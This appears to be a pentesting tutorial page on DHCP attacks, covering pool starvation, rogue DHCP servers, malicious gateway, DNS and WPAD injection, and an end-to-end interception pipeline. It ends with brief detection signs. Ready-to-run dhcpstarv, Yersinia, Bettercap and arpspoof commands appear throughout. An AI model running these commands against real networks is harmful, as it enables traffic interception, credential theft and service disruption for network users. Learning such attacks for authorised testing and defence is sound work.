Home > Network Pentesting

DHCP Attacks

DHCP attacks exploit the trust clients place in DHCP servers for network configuration. Because DHCP has no authentication, any system on the LAN can impersonate a DHCP server, inject malicious settings, or disrupt normal operation. These attacks enable MITM, DoS, traffic redirection, rogue gateway/DNS manipulation, and full network takeover in unprotected environments.

How DHCP Works

DHCP assigns essential network information to clients:

  • IP address

  • Subnet mask

  • Default gateway

  • DNS server

  • Lease time

  • Domain name

Clients broadcast DHCP requests, and whichever server responds first is accepted.
Attackers exploit this race condition.

DHCP Starvation (Exhausting the Pool)

DHCP starvation consumes all available IP addresses from the legitimate DHCP server.
Once depleted, the attacker can introduce a rogue DHCP server without competition.

DHCP Starvation Attack

sudo dhcpstarv -i eth0

This floods the server with fake DHCP requests, causing:

  • No IPs left for real clients

  • Service disruption

  • Forced reliance on attacker-controlled DHCP

Starvation is often the first step before deploying a rogue DHCP server.

Rogue DHCP Server Attacks

A rogue DHCP server supplies malicious network configurations faster than the real server.

Malicious Settings an Attacker Can Push

  • Fake default gateway → all traffic flows through attacker

  • Fake DNS server → full DNS hijacking

  • Fake IP address ranges → segmentation bypass

  • Fake NTP servers → time manipulation

  • Fake WINS servers → name resolution attacks

This enables MITM and credential interception across entire subnets.

Rogue DHCP with Yersinia

sudo yersinia -I

Select:

DHCP → Launch Attack → Rogue DHCP

Rogue DHCP with Bettercap

sudo bettercap -iface eth0
set dhcp.spoof.router 10.10.10.100
set dhcp.spoof.dns 10.10.10.50
dhcp.spoof on

Victims immediately adopt attacker-controlled network settings.

DHCP Unauthorized Gateway Injection

Attackers provide themselves as the victim’s gateway.

Example Rogue Gateway

set dhcp.spoof.router 10.10.10.200

This forces all traffic through the attacker, enabling MITM and SSL stripping.

DNS Redirection via DHCP

DHCP can assign attacker-controlled DNS to every victim on the LAN.

Setting Malicious DNS

set dhcp.spoof.dns 10.10.10.50

This redirects:

  • All domain lookups

  • Internal queries

  • Authentication paths

Combined with DNS spoofing, this yields full name-resolution control.

Forced Network Reconfiguration

DHCP settings are accepted immediately when clients renew.

Triggering Immediate Renewals

sudo arpspoof -t victim gateway

This disrupts connectivity and forces DHCP renewal, ensuring victims adopt attacker settings.

DHCP Option Attacks

DHCP supports various fields attackers can abuse:

  • Option 3: Router

  • Option 6: DNS

  • Option 15: Domain name

  • Option 252: WPAD (Proxy autoconfiguration)

  • NTP, WINS, SIP options

Exploiting WPAD via DHCP

set dhcp.spoof.wpad http://10.10.10.50/wpad.dat

This forces victims to use attacker’s proxy, revealing credentials and web traffic.

DHCP MITM Pipeline

A complete DHCP attack path looks like:

  1. Starvation

  2. Rogue DHCP enabled

  3. Victims adopt new gateway/DNS

  4. Traffic flows through attacker

  5. Interception of credentials

  6. SSL stripping or DNS spoofing

  7. Lateral movement and further exploitation

DHCP becomes the foundation of full internal network compromise.

Detecting DHCP Attacks

Signs that DHCP attacks are occurring include:

  • Clients receiving unexpected IP ranges

  • DNS pointing to unknown servers

  • Multiple DHCP offers from unknown MACs

  • Frequent disconnects/reconnects

  • Unknown gateway addresses

  • Sudden MITM behavior

Network protections like DHCP snooping detect and block rogue DHCP servers.

Why DHCP Attacks Matter

DHCP attacks provide massive control with minimal effort.
They enable:

  • MITM

  • DNS hijacking

  • Credential interception

  • Traffic redirection

  • Network segmentation bypass

  • DoS of legitimate services

DHCP is trusted and unauthenticated, making it one of the most powerful network exploitation vectors in internal pentesting.

Intel Dump

  • DHCP starvation exhausts legitimate IP pools

  • Rogue DHCP forces malicious gateway and DNS

  • Tools: Yersinia, Bettercap, dhcpstarv

  • DHCP option fields enable WPAD, DNS, proxy, and routing attacks

  • DHCP attacks lead to full network MITM and redirection

HOME LEARN COMMUNITY DASHBOARD